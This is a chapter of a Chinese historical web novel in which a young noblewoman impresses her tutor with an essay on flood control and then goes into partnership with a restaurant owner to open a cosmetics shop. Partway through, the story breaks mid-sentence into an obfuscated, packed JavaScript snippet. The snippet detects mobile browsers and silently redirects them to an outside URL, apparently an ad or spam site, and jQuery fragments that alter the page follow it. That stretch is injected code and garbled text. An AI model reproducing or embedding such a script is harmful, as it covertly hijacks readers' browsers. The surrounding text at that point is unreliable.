9. 开店

建康的夏天亮得有些早,太阳还未当空就开始燥热。


唯有知了不变地在百棂窗外叫着。


赵萦和赵筠早早地到了书斋,温习了好一阵,先生才出现在门口。


谢自群向来是个不委屈自己的性子,每每鸡鸣三声才起。为了给她们授课,他已经早起了,却还是不及她们。


他在书案前坐下,一眼就看见了赵萦眼下极重的痕迹,发笑道:“做贼去了吗?”


赵萦也察觉到自己的仪容不妥,摸了摸眼下,尴尬地笑了笑。“先生布置的课业已经完成了。”


“哦——”谢自群尾音上扬,表现得像是忘记了这事一般,“拿来看看。”


赵萦和赵筠依次将课业交上去。


两张纸铺在案上,赵萦老远看着,她的内容多,赵筠的那份用句好像极为工整。


谢自群先拿起赵筠的那份,眼前一亮,对赵筠有了新的认识,这份文章一眼望去文采斐然、音韵和谐、对治水之道的叙述也有理有据。


他本想着她们讲清治水之策便好,但这篇文章却是文采卓越,同龄人望尘莫及。不禁让他想起赵仲武来寻他时的说辞,“我有个天资聪颖的孩儿,恐旁人误她。”


原先他还以为为父者有私心,如今看来,确是如此。


他将这一篇放在一旁,又拿起另一篇。不看不知道,一细看他心中更为震惊。


若说赵筠的文章似群山,重峦叠嶂,那么赵萦的文章就如静水,质朴无华。


通篇没有多余之语,只有一句句条理清晰的观点与论证,偶有引经据典也是为了更好的佐证自己的观点。


忽略文采,这篇文章的观点已经相当自洽,足以作为一篇策论。


这篇文章若出自一个学子之手,他绝不会这般惊讶。偏生出自一个闺阁女郎之手,让他不得不惊叹。


他再次打量面前这不过十三岁的女郎,这个年纪不喜装饰的女子少见。


她未施粉黛,头顶装饰都少到极致,只余一根银簪将发丝全都束起,偶尔落下的几缕发丝更显随意。她的眼眸深深,鹅黄这样鲜亮至极的颜色在她身上竟然有几分违和。


“先生,我们的文章如何?”


像是察觉到他的目光,她从书中抬头,望向了他。


他收回停留在她身上的目光,将两份文章整理好,交换递给她们。


“你们的文章各有所长,阿萦逻辑严密,阿筠文采斐然。若你们能取长补短,在文道上便无懈可击了。”


“萦姊的文章论证竟这般细致。”赵筠拿着文章道,语气中少不了讶异。萦姊不像常读书的人,用起典来竟也信手拈来。


“不过是翻阅了有关的资料罢了。”赵萦拿着赵筠的文章,心中也有同感。赵筠的文采是自幼的积淀,她远不能及。


谢自群让她们将文章收起,就他布置的课业进行讲评。


他本是世家子弟,有天然的上位视角。他的讲解又与她们文中的观点不同,不仅涉及朝政考量、也涉及世家利益。


赵萦与赵筠本是一点就通的人,经他一讲,才知看似简单、为民生的事实际是多方权衡,缺一不可。真正的权衡心术也难以书载史册。也难怪河洛地区前朝至今多发水患,却总不能根治。


“先生看文宣王如何?”恰讲到水患,赵筠有些好奇文宣王的做法。


“文宣王性情温和,守成尚可。”谢自群虽少与文宣王交际,却也能从侯府近日发生的事中看出些端倪,没有将话说得太明显。


“河洛地区的水患绝非一日两日,文宣王若照旧例,只怕几年后又要再次……”赵萦听出了谢自群的言外之意,喃喃道。


“这些离现在的你们还太远了,我要你们给出治水之策,一是看你们的对治水的理解,这点你们已经完成了,起码纸上谈兵,有模有样。二是由小见大,看清背后的名利场,这些弯绕本身就值得探究。”


谢自群似是说累了,拂袖起身。看着外头灼人的日头,嘴角抑制不住上扬,一边脚步不停地向外走,一边说道:“到时间了,我庭院的兰草该搬回院里了。”


“欸!”


赵筠眼见着先生溜走,只来得及唤一声,后知后觉地反应过来到了平日下学的时间,摇摇头,将视线投向了一旁的萦姊。


萦姊竟罕见地收拾起东西,见她望来,只露出莫名的神色。


“萦姊今日怎么也要这么早走?”她不解。


“与人相约,不好怠慢。”


顷刻间,书斋便空荡一片。


赵筠有些无措,瞅了一眼宜文,“走,我们去找凝姊。”


-


还是那条街,还是那个雅间,只是没有那天人声鼎沸的模样。


沈锦正经端坐,望着眼前的女郎,眼里有几分探究,“赵娘子有什么合作要与我谈?”


那日靖安王进京,经过揽饕楼,她看着真切,那么多娘子丢下物件,靖安王唯独收了她的。


若说她们不认识,只怕没人会相信。


这赵娘子绝不是商户人家的娘子。或许,这个人比清云布庄更有价值。


“沈娘子阿耶仙逝想必给生意带来了很大的打击吧?”赵萦上楼时便注意到,大堂人不少,但二楼雅间却不似那日繁华,可见建康的权贵不太买这揽饕楼新店主的账。


沈锦顿了顿,“是与不是同我们的合作有什么关系?”


“自然,我与你的合作就与这有关。”赵萦观察着对面人的神色,不慌不忙地呷了口茶。


她虽未见沈锦几面,却已看到了她的本事。


先前靖安王入京,这街上有几家酒楼,偏只有她的楼生意爆棚,想必是她提前做了宣传。在那样的日子里,还能注意到前往清云布庄的她,足见她的细致果断。


但她若想进一步拓展生意,却一定不能只靠本事。


这西街权贵多如牛毛,揽饕楼是他阿耶为她打下的名气,她顺理成章地接手,只要不出岔子,假以时日,揽饕楼就能完全被她接管。


若是她新开一间铺子,未必能让新客买账。何况,清云布庄的位置,根本不宜开酒楼。扩张新品


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156391|164963||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


类,本就是有风险的事情。


沈锦自然也知道这些,但不意味着她就要在谈判上主动示弱。她调整了坐姿,“娘子有何高见?”


“清云布庄我出钱,你出力。我七你三。”


“赵娘子有些为难人了。”沈锦像是听到了什么笑话,有些维持不住面上的神情。赵萦出店铺,她经营,哪里来这样好的事?


赵萦道:“别急,我还没说完。沈娘子打算将清云布庄改做什么营生?”


沈锦也不瞒她,“……胭脂水粉。”


西街女眷多,首饰铺子也不少,胭脂水粉倒是只有一两间。她素日对此有些研究,只要店铺开起来,绝不会亏本。


但是,她为何要与赵娘子合作呢?


“酒楼店主贸然在此开胭脂铺子,人家只怕不会买账,虽说时间久了,自然能积攒熟客。但沈店主是明白人,自然知道时间对于生意人来讲极重要。若我说,我可以解决此事呢?”赵萦向前一靠,身后宜明顺势递给她一块令牌。


她放在案上,向前一推。这是出入侯府的令牌,想不到有一天会被她用来做这个。


“长平侯府”四个字映入对面人的眼。


“陛下新封的平阳公主正是我阿姊。若这店是我开的,何愁她不能为之宣传?”赵萦抛出一张王牌。


长平侯府?


沈锦早猜到她出身不凡,竟没想到是长平侯府的女郎。陛下前些日子封赵大娘子为平阳公主的消息早已传遍建康,如今有几人不知。


若是这样的身份,确实可以解决她的燃眉之急。


“好吧,我同意。”沈锦佯作犹豫,“但我要五五分成。”


“可以。”赵萦答应得很是爽快。七三分本就是一开始提出诈她的,五五分在她预期之中。她本无心做生意,将店子交由她打理,就当投资了。


沈锦带着的小厮很快拟好了文书,赵萦瞧着无误,签下大名。


“赵萦?我原以为是‘盈盈一水间,脉脉不得语’的那个盈。”达成合作了,沈锦也变得不再紧绷。


“那个盈多无趣。我这个萦,是魂牵梦绕的意思。”赵萦正好站起,一回头,发丝被风吹起。她眼里的光,比太阳还要亮。


她心想:天知道她这个字是什么意思。既然是她的名字,意思自然是她说得算。


沈锦失笑。


-


清云布庄改作胭脂铺的过程极为顺利。


赵萦极少插手干预沈锦的想法,她有自知之明,没有经商经验,不会轻易下结论,只在觉得不妥时提出意见。


给沈锦的承诺,她也不曾忘记。


一开业便去找了凝姊,将胭脂铺的事情告知她,让她在参加宴饮时使用。


沈锦还特意来为凝姊上了妆。


别说,沈锦的上妆手法的确有一套。


宴饮上无需凝姊多话,那些贵女便出言询问是哪家铺子。西街新开“锦云胭脂铺”的名头一下便被打响了。


仅仅一个月,“锦云胭脂铺”便成了建康有名的胭脂铺子。